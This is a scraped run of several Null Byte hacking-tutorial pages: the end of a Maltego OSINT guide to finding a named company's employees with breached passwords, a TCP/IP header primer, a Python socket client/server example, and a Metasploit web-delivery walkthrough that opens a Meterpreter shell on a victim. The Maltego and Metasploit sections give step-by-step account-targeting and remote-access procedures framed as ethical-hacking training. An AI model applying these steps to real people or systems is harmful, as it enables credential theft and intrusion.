Here, we use the example SpaceX.com to show a larger collection of data being found.After clicking "Finish," you will begin to see data appear on the graph. This should be a mix of email addresses, found documents, persons identified, and other data Maltego finds on the domain in question.As seen in the example above, we were able to gather several email addresses from SpaceX.com, but the next step will be enriching these email addresses to improve our sample size.Step 5: Enrich Your Employee Email ListAfter examining the data found in our first pull, we can delete entities that aren't relevant to our search by sorting on theDetail Viewwindow by entity type, selecting all the types you want to delete, and right-clicking on the selected group to show the "Delete" option, which should be a red "X."After cleaning up the graph, select all the email addresses you found in theDetail Viewpane. From here, we can run a series of transforms to identify any accounts that have been breached or any additional sources we may find of SpaceX.com email addresses.Don't Miss:How to Use SpiderFoot for OSINT GatheringWhen you right-mouse click the email addresses you've selected, type "haveibeenpwned" into the search bar on top to show all available transforms from the Have I Been Pwned transform set. In particular, we will run transforms to find all breaches and any Pastebin dumps including the email addresses selected.Once run, the transform should return a list of Pastebin dumps and account breaches attributed to the email address you selected. From here, we can look for Pastebin URLs that include lists of company email addresses.In the example below, our first query actually uncovered a few email addresses involved in breaches, as well as no less than six Pastebin URLs that include related email addresses.We can double-click on any of these, and then click "Properties," to find the URL of the Pastebin dump.Taking this address, we can go directly to the Pastebin dump and search for other SpaceX.com email addresses to find. There were quite a few. We can select, copy, and paste these directly into Maltego.You can do the same with any other email addresses you find, and then run the earlier transform on them to see if they appear in any other Pastebin dumps. We can also include email addresses found through the use of other email scrapers likeTheHarvester.Don't Miss:How to Scrape Target Email Addresses with TheHarvesterThrough repeating this several times, you can find many more email addresses to add. When you paste in a new email address, Maltego should detect the data type and assign it automatically.Step 6: Identify Email Addresses of Breached EmployeesNow that we've gathered a list of employee emails, we can begin passing them through the Have I Been Pwned transform to find which may have been involved in a breach.Select all of the email addresses we've found, and press the double "play" icon next to the "haveibeenpwned" transform item. This will run all the transforms contained in that set at the same time, looking both for breaches and Pastebin dumps.When the results are complete, we should have a list of email addresses involved in breaches. Our results returned with several email addresses which were involved in known breaches.Now that we've found who has been losing credentials, we can take the next step to find out who lost what.Step 7: Discover What Was Lost by WhoWe can find more information about the breaches the target employees were involved in by selecting the breaches we've discovered, and then enriching them further by right-clicking and typing "enrich" to show the breach enrichment options. Run both to learn details about the breach itself and details about the types of data lost in that particular breach.After running these transforms, we should see an expanded profile of information about each breach, including the specific date. Additionally, each breach will now include an element to indicate whether passwords, usernames, or other types of data were lost.So how can we filter to show only email addresses who have lost specific kinds of data? In this case, we want to find users who have had passwords lost. To this end, we can filter our results to only show emails who have lost this kind of data.In the pane on the right, we can select all the "Password" entities, as these are incidents in which actual passwords have been lost. Next, we can select "Add Parents" to add all of the elements that are connected as parent nodes to these elements. In this case, the breach is the parent node, and the "Passwords" element is the child node. Now, we have only breaches where passwords were lost selected.By clicking "Add Parents" one more time, we will add any email addresses that are connected to these breaches which have lost passwords. Now, we have a list of email addresses who have lost passwords in breaches and the specific information of when and how that information was breached.At this point, we have a targeted list of all employees involved in password breaches.Step 8: Discover Actual Passwords in Breached DatasetsDiscovering a breached password is relatively rare, but while demonstrating Maltego to a friend who is a TV executive, we were both surprised to find his old password in a Pastebin dump tied to his email address, sitting in plain text. Once you have a targeted email, discovering Pastebin dumps related to that email may contain much more information than just the email address.There are a few methods of discovering the actual password that was lost, but in general, this depends on whether the stolen passwords were in plain text, hashed, salted, or otherwise encrypted. If the passwords were stolen and dumped in plaintext, you can simply use the information contained in the enriched breach data to attempt to locate the data dump. A talented researcher can often find these sorts of dumps looking through GitHub and other common places for hacked data to be exchanged.If the passwords stolen were hashed, there is the possibility you couldcrack them, if this old password is of real value to you. By brute-forcing against some common hashing algorithms, it is possible to retrieve passwords from an old data breach if the password is contained in your dictionary file. Finding the name of the breach by looking in the enriched breach data is the first step to tracking down the actual information that was lost in the breach.In general, the target here is more to locate employees with relaxed security positions, and the actual data they lost is irrelevant unless it's easily accessible. If the password is easy to find, it is very helpful to know how the account owner has constructed their passwords in the past. Using tools like theMentalist, we can create similarly formatted passwords using the person's personal data to attempt to break into their account.Don't Miss:Create Custom Wordlists for Password Cracking Using the MentalistDefending Against OSINT-Based AttacksIf you've entered the same password you use on important accounts into any other account, you are vulnerable to this attack. You have no way of knowing how most companies you register accounts with store your password, so if they are lost in plaintext, any account with the same password is open to compromise.Twitter recently discovered they were saving everyone's password in plaintext, which means that any account you have with the same password as your Twitter account has a chance of being that much easier to break into. You can mitigate this by choosing unique passwords for each account you have. Passwords like "UniquePasswordMyspace" don't work because an attacker will just try "UniquePasswordGmail" and so on, so make sure it's truly different and doesn't follow a predictable pattern.Use apasswordmanagerto keep track of complicated unique passwords, and use a two-factor authentication method to ensure that stolen passwords are useless in other accounts. These best practices are your best defense against the standard attempts to breach an account a small amount of OSINT could enable.Don't Miss:How to Create Stronger Passwords (Advice from a Real Hacker)I hope you enjoyed this guide to locating employees involved in data breaches using OSINT research! If you have any questions about this tutorial or using Maltego for OSINT research, feel free to leave a comment or reach me on Twitter@KodyKinzie.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsReddit Breach:How to Check if Your Reddit Account Was CompromisedHow To:Scrape Target Email Addresses with TheHarvesterHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)News:Augmented Reality App Maker Houzz Reveals Major Data BreachHow To:Cloak Your Private Email Address into an Anonymous, Disposable One with GliphHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Timehop Breach Impacts Everyone Who's Ever Used the App — Here's How to Check What Info Leaked About YouHow To:Use Maltego to Monitor Twitter for Disinformation CampaignsRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Hide @iCloud, @Me & Custom Aliases from Your Mail App's 'From' Field on Your iPhoneHow To:Find Hacked Accounts Online ~ PART 1 - haveibeenpwnedHow To:Purge Your Inbox of Account Passwords with Dashlane's Email Security ScannerHow To:You've Probably Let Several Apps Read Your Gmail — Here's How to See & Delete ThemHack Like a Pro:How to Extract Email Addresses from an SMTP ServerNews:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'How To:These Clever Gmail Hacks Will Stop Spam from Sites Who Sell Your Email AddressHow To:Use 'Sign in with Apple' on iOS 13 for Better Security & PrivacyHow To:Learn How Elliot from Mr. Robot Hacked into His Therapist's New Boyfriend's Email & Bank Accounts (Using Metasploit)How To:Block Contacts, Spam & Unknown Senders in iOS 13's Mail App So Incoming Emails Go Straight to TrashHow To:Use UFONetNews:Whoops! Feds Accidentally Reveal Snowden as Their Email Spy TargetHack Like a Pro:The Ultimate Social Engineering HackHow To:How Do You Know if You Can or Should Start a Business Part 2 of 3How To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Hack a Skype PasswordNews:Basic Email EtiquetteNews:Why we shouldn't rush the job searchNews:Official Phone Snap! Challenge RulesNews:Mobile Game Developer Fined $50,000 by FTC for Soliciting Emails from MinorsNews:Them's the Rules!How To:Fix Your Notification Settings in Google+ PagesNews:1.5 Million Credit Cards Hacked in the Global Payments Breach: Was Yours One of Them?News:INCREDIBLE LANDSCAPES, "Beyond the Mundane" Photography Competition - Deadline February 28, 2011News:BIRD PORTRAITS, "The Avian Persona" Photography Competition - Deadline January 31, 2011How To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP Poisoning
Hack Like a Pro: Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP) « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Inthe first partofthis series, I introduced you to the basics of networking including IP addresses, ports, NAT, and DHCP. In this lesson, I want to introduce you to the basics of TCP/IP, i.e., Transmission Control Protocol (TCP) and Internet Protocol (IP). These are the most common protocols used on the internet for communication.Image viaShutterstockTo become a proficient hacker,forensic investigator, or simply be a good network engineer, you should understand the structure and anatomy of these protocols. From my experience,manyprofessionals in these fields do not understand the basics of TCP/IP, which means that you will definitely have an advantage over them if you do understand TCP/IP.When trying to create a new hacking tool or investigate a network attack, understanding these protocols and their fields is essential. Otherwise, you will be simply wasting your time.What Are Protocols?Protocols are simply an agreed upon way to communicate. For instance, we here on Null Byte have agreed upon the English language with all its rules and grammar as our way to communicate. That is our protocol. If we did not have an agreed upon way to communicate, people would be using many languages, grammar, and rules and none of us would understand each other.Protocols are similar. A protocol simply defines a way of communication with all its rules. These rules are usually defined by a RFC (Request for Comments).There are many, many protocols in use on the internet. These include TCP, IP, UDP, FTP, HTTP, SMTP, etc., and each has its own set of rules that must be complied with in order to communicate effectively (similar to the rules we use in communication via written languages). Probably the two most important protocols for use over the internet are IP and TCP, so let's take a look at each of these.IP (Internet Protocol)IP, or Internet Protocol, is the protocol that is used to define the source and destination IP address of a packet as it traverses the internet. It is often used in conjunction with other protocols such as TCP, hence the often used conjunction, TCP/IP.Let's take a look at an IP packet header and see what information itcontains that can be useful to the aspiring hacker and/or forensic investigator.Row 1Version: This defines the version of IP, either v4 or v6.IHL: Defines the header length.Type of Service (TOS): This defines the type of service of this packet. These include minimize delay, maximize throughput, maximize reliability, and minimize monetary cost.Total Length: This defines the total length of the IP datagram (including the data) or the fragment. Its maximum value is 65,535.Row 2Identification: This field uniquely identifies each packet. It can be critical in reassembling fragmented packets.IP Flags: This field defines whether the packet is fragmented (M) or not (D). The manipulation of the field can be used to evade IDS and firewalls. Check out my tutorials onNmapandHping3on how we can manipulate packets to evade intrusion detection systems and other security devices. It can also be used in conjunction with the Window field to identify the operating system of the sender.Fragment Offset: This field is used when packets are fragmented. It defines where the packets should be reassembled from the beginning of the IP header.Row 3TTL: This is the "time to live." This defines how many hops across the internet before the packet expires. It varies by operating system making it useful to identify the OS of the sender.Protocol: This field defines what protocol is being used with IP. Most often, it will be 6 or TCP, 1 for ICMP, 17 for UDP, among others.Header Checksum: This is an error checking field. It calculates the checksum (a simple algorithm) to determine the integrity of the data in the header.Rows 4 & 5Source / Destination: These rows of the IP header are probably the most important part of the header as it contains the source and destination IP address.Row 6Options: This field is variable length and its use is optional (as you might expect).Padding: This field is used to fill out, if necessary, the remaining bits and bytes of the header.TCP (Transmission Control Protocol)In the TCP header, there are numerous critical fields that the aspiring hacker and/or forensic investigator should understand.Row 1Source Port / Destination Port: Probably most importantly, these are the source port and destination port. These fields determine what port the communication came from and where it is going.Row 2Sequence Number: The sequence number is generated by the source machine's TCP stack and is used to make certain that packets are arranged in the proper sequence when they arrive. It is also important in defeatingMitM attacks.Row 3Acknowledgement Number: This is an echo of the Sequence Number sent back by the receiving system. It basically says, "I received the packet with the Sequence #." In this way, the sender knows that the packet arrived. If the sender does not receive an Acknowledgment Number back in a fixed amount of time, it will resend the packet to make certain the receiver gets the packet. In this way, TCP is reliable (for instance, UDP does not do this and is therefore unreliable).Row 4The fourth row has some critical information. Let's skip over theData Offsetand theReservedfields. That takes us to 8 bits near the middle of Row 4. These are the infamous flags of the three-way handshake andNmapscans. The first two bits,CWRandECE, are beyond the scope of this lesson. The next six bits are the URG, ACK, PSH, RST, SYN, and FIN flags. These flags are used by TCP to communicate;SYN: The opening of a new connection.FIN: The normal, soft closing of a connection.ACK: The acknowledgment of a packet. All packets after the three-way handshake should have this bit set.RST: The hard-close of a connection and usually used to communicate that the packet has arrived at the wrong port or IP.URG: This flag indicates that the following data is urgent.PSH: Push the data past the buffer to the application.If you are familiar withNmaporHping3asrecon tools, you have used scans utilizing all of these flags. By creating packets with flag combinations that should not be seen in the wild, we may be able to elicit a response from a very secure system or even evade detection.Window Size: In some diagrams, this is simply described as theWindowfield. Its role is to communicate the size of the window that the TCP stack has to buffer packets. This is the way that TCP manages flow control. From a recon or forensics perspective, this field alone can be enough to identify the OS that sent the packet. This field varies from OS to OS and even from SP to SP. Given this bit of information, one can predict with about 80% accuracy the OS that sent the packet. In fact, it is this field and a few others (DF and TTL in the IP header) that such operating system fingerprinters such asp0fuse to identify the OS.Row 5Checksum: This field uses a simple algorithm to check for errors. In essence, it is an integrity checker.URG Pointer: This field points to the last byte of the sequence number of urgent data. The URG flag must be set in conjunction to activate this field.Row 6Options: Like the IP header, the TCP header has an options field that can be used if necessary and it is varying length.Padding: The padding is necessary to bring the TCP header to a multiple of 32 bits.If you have any questions on these basics of TCP/IP, ask in the comments below and we'll try and help you understand better.Keep coming back, my greenhorn hackers, as we explorethe basics of networkingto make you a professional hacker!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hacker Fundamentals:A Tale of Two StandardsHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 1Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)How To:Create Packets from Scratch with Scapy for Scanning & DoSingHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:How to Conduct Active Reconnaissance on Your Target with hping3Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Advanced Nmap for ReconnaissanceHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Code a Basic TCP/IP Client & Server Duo in PythonHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Assign a Static IP Address in Windows 7Community Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Hack Wireless Router Passwords & Networks Using HydraCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker Training
How to Code a Basic TCP/IP Client & Server Duo in Python « Null Byte :: WonderHowTo
TCP/IP Client / Server ApplicationHello! Today's blog post will be about coding a very rudimentary Client and Server application duo, which will communicate by using TCP Sockets.It is, as illustrated, in principle, just two cans and a string that ties them together. The server will listen for clients and accept incoming data, while the client will, upon startup, check for the server on a predefined port and if found, will enable you to send messages! If not, it will simply exit with an exception.For a more substantial read about TCP/IP, refer tothis Wiki article. It should be sufficient and cover the basics of the model.RequirementsPythonStep1Server ApplicationThis is going to be our receiving end (no puns, please) of the duet.#!C:\python27 #Replace with usr/bin/ clause for Linuximport SocketServer #imports the socket server libraryclass EchoHandler( SocketServer.StreamRequestHandler ): #declares the classdef handle(self): #installs handlerinput= self.request.recv(1024) #defines request bufferprint "Input: %r" % ( input, ) #prints data receivedself.request.send("Received: %r" % ( input, ) ) #sends message to client saying..#.."message received"server= SocketServer.TCPServer( ("",7000), EchoHandler )#adds listener at port 7000print "Starting Server..."server.serve_forever() #enables the server to run forever as long as a client is connectedSimple enough, right?Step2Client ApplicationNow we will code the application which will enable us to send messages to the server.#!C:\python27import socketclass Client( object ): #defines client classrbufsize= -1 #sets read bufferwbufsize= 0 #sets write bufferdef __init__( self, address=('localhost',7000) ): #defines initialisation functionself.server=socket.socket( socket.AF_INET, socket.SOCK_STREAM )#initiates socket by passing address and protocol parametersself.server.connect( address ) # connects to set address and portself.rfile = self.server.makefile('rb', self.rbufsize) #makes file object for response processingself.wfile = self.server.makefile('wb', self.wbufsize) # same as above but for writing/response sendingdef makeRequest( self, text ): # request function which will handle the data transferself.wfile.write( text )data= self.rfile.read()self.server.close() # closes this instance of the connectionreturn dataprint "Connecting to Echo Server"i = 0 #from here to end of file, infinite loop for message sending to serverwhile (i > -1):c= Client()response = c.makeRequest(raw_input("Enter something: "))print repr(response)print "Finished"And that's it.End NotesFire up the "Server" app first, then launch the client and try sending some data.If all goes well, you should get the server to print out some received data. Hope you enjoy making these apps!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Reverse Shell Using PythonHow To:Program Your Own Little RAT (Part 1) Getting the Server WorkingHow To:Program Your Own Little RAT (Part 2) Getting the Client WorkingHacker Fundamentals:A Tale of Two StandardsHow To:Create Packets from Scratch with Scapy for Scanning & DoSingHow To:Advanced System Attacks - Total GuideHacking macOS:How to Create an Undetectable PayloadHow To:Create a Basic Client-Server Connection in C Part-1Hacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)How To:Make a Change-of-IP Notifier in PythonCommunity Byte:Coding an IRC Bot in Python (For Beginners)How To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Make a Gmail Notifier in PythonCommunity Byte:Coding a Web-Based Password Cracker in PythonNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsNews:Learning Python 3.x as I go (Last Updated 6/72012)Community Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingHow To:Create an SSH Tunnel Server and Client in LinuxMastering Security, Part 2:How to Create a Home VPN TunnelWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Things to Do on WonderHowTo (01/18 - 01/24)How To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingUDP Flooding:How to Kick a Local User Off the NetworkCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Send SMS Messages with PythonPygame:All You Need to Start Making Games in PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsGoodnight Byte:Coding an IRC Bot in Python (For Beginners)How To:Run an FTP Server from Home with Linux
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!Metasploit, one of my favorite hacking/pentesting tools, has so many capabilities that even aftermy many tutorialson it, I have only scratched the surface of it capabilities. For instance, it can be used withNexposefor vulnerability scanning, withNmapfor port scanning, and with its numerous auxiliary modules, nearly unlimited other hacking related capabilities.Among the exploit modules, a category that we have not addressed are the web delivery exploits. These exploits enable us to open a web server on the attack system and then generate a simple script command that, when executed on the victim system, will open a Meterpreter shell on the target. This web delivery exploit can usePython, PHP, or the WindowsPowerShellscripts.Of course, it is your job to get the script on the target machine. This means that you will likely need to get physical access to the system or envelope the code into a seemingly innocuous-looking object that the victim will be enticed to execute.In this tutorial, we will exploit a Linux or Mac system. Since both are UNIX-like systems, they both have built-in Python interpreters by default. If we can get the script command generated by this exploit on the target, we can have complete control of the system including keystroke logging, turning on the webcam, recording from the microphone, and reading or deleting any files on the system.Let's get started.Step 1: Open a TerminalThe first step, of course, is to fire upKaliand open a terminal.Step 2: Start Metasploit & Load the ExploitNext, start Metasploit by typing:kali > msfconsoleThis should open the msfconsole like that below.Then we need to load the exploit:msf > use exploit/multi/script/web_deliverySet the IP of our attack system:msf > set LHOST 192.168.181.153And set the port we want to use:msf > set LPORT 4444Of course, I am using my private IP address in my lab, but if the target is outside your LAN, you will likely need to use your public IP and then port forward.Step 3: Show OptionsNow that we have the exploit loaded and ready to go, let's take a look at the options for this exploit. Type:msf > show optionsIt looks like we have all the options set as we need. Now, let's get a bit more information on this exploit before we proceed. Type:msf > infoAs you can read above, this exploit starts a web server on our attack system and, when the command that is generated is executed on the target system, a payload is downloaded to victim. In addition, this attack does not write to disk, so it should not trigger theantivirus softwareon the victim's system.Step 4: Start the ExploitOur next step is to run the exploit. This starts the web server on our attack system and also generates a Python command that we can use to connect to this web server. Before we do that, though, we need to set the target to 0, selecting the Python exploit.msf > set target 0Now, we can type exploit:msf > exploitNotice the last thing this exploit writes is "Run the following command on the target machine" followed by the command we need to use. Copy this command.Step 5: Run the Command on the Victim SystemNext, take that command to the victim machine. In this case, I'm using an Ubuntu 14.04 system. You will need to precede the command withsudoas it requires root privileges.Then hitEnter. When you return to your Kali system, you can see a Meterpreter has been started on the target system! We own that box!Initially, the Meterpreter is running in the background. To bring it to the foreground, we can type:msf > sessions -lThis then lists the "active sessions." Notice that this session ID is "1." We then can activate that session by typing:msf > sessions - i 1This then brings the Meterpreter session to the foreground and we get the meterpreter prompt! To control the system, we can run the Meterpretercommandsorscripts, although most of the scripts are written for Windows systems.Keep coming back, my budding hackers, as we continue to explorethemost valuable skills of the 21st century—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How to Hack Like a Pro:Getting Started with MetasploitNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Mac for Hackers:How to Get Your Mac Ready for HackingNews:What to Expect from Null Byte in 2015Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 19 (Linking Files)Hack Like a Pro:How to Hack the Shellshock VulnerabilityHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Chain VPNs for Complete AnonymityCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking Simulations
Learn to Code Today with This $20 Web Development Course « Null Byte :: WonderHowTo
Learning to code is difficult, particularly if you're doing it alone. While coding may be amongthe most valued job skillsin many markets, the education is sometimes inaccessible.However, theIntroduction to Coding with HTML, CSS & JavaScriptcourse provides five hours of introductory content that can get you started coding with some of the most used languages available, and right now, it's on sale for $19.99 — a full 90% off.For many complex skills, the hardest part is just getting started. The barrier between knowing nothing and knowing enough to learn more can be insurmountable without expert help. This course is designed to give you the help you need to start programming, practicing, and growing. You will learn to code with HTML, CSS, and JavaScript, which are frequently used coding languages and among the more accessible ones to beginners.In 47 lectures spanning five hours of content, you will develop your problem-solving abilities, which applies to coding and any other job you may do. Instead of relying on clunky and unintuitive website builders that hide their best templates behind a paywall, you will be able to make your own professional or personal websites that suit your exact needs. Programmers tend to earn an average of $47 per hour, which is a significant leap compared to the US national average of alittle over $11.With your lifetime access to this course, you will be able to learn at your own pace or return to this class for reference. Use the programming knowledge you gain to build on. Once you know how to learn one coding language, the others will be easier, and from there, you can trulybecome a master programmer.You can get the Introduction to Coding with HTML, CSS & JavaScript coursenow for $19.99 while it's on salefor 90% off before it returns to its full price of $200.Prices subject to change.Learn More:Introduction to Coding with HTML, CSS & JavaScript for Just $19.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:This Best-Selling Web Development Training Is on Sale for $12How To:Start Making Your Own Apps Today with This $20 BundleHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnityHow To:Learn Python & AI with This $20 E-BookNews:The Best Black Friday 2017 Speaker Deals for Your SmartphoneHow To:Start 2021 with a New Coding Career with This Ultimate Set of Web Developer CoursesHow To:Learn How to Create Fun PC & Mobile Games for Under $30News:How-to Design Amazing Web Pages Using Basic HTMLHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Become a Productivity Master with Google Apps ScriptHow To:Start Learning How to Code in Just a WeekHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:Learn to Write Code from Scratch for Under $30How To:Find Out If Facebook Owes You Ten BucksHack Like a Pro:How to Build Your Own Exploits, Part 2 (Writing a Simple Buffer Overflow in C)How To:Web Development for Hackers 1.1: HTML,CSS,JSHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorHow To:This Master Course Bundle on Coding Is Just $34.99News:A Basic Website Crawler, in Python, in 12 Lines of Code.New Promo Code:Gobbler TranformationPygame:All You Need to Start Making Games in PythonNews:Symantec Source Code Released by Anon After Failed NegotiationsNews:Stanford's Cryptology Class Goes Live TODAY!Root Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+News:Awesome Trick with Prepaid "GoPhones" Nabs You Free Text Messaging for LifeNews:Don Williamson's Real-Time Web-Based DCPU-16 Emulator & ASM Code EditorCommunity Contest:Code the Best Hacking Tool, Win Bragging Rights7/14-Weds pick:60 Watt Kid, Yellow Alex @ BandshellCommunity Byte:Coding a Web-Based Password Cracker in PythonLearn Java:Part OneHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:In Just a Clik, Turn Your Smartphone into a YouTube Remote for Any Web DisplayHow Null Byte Injections Work:A History of Our NamesakeNews:***Minnie 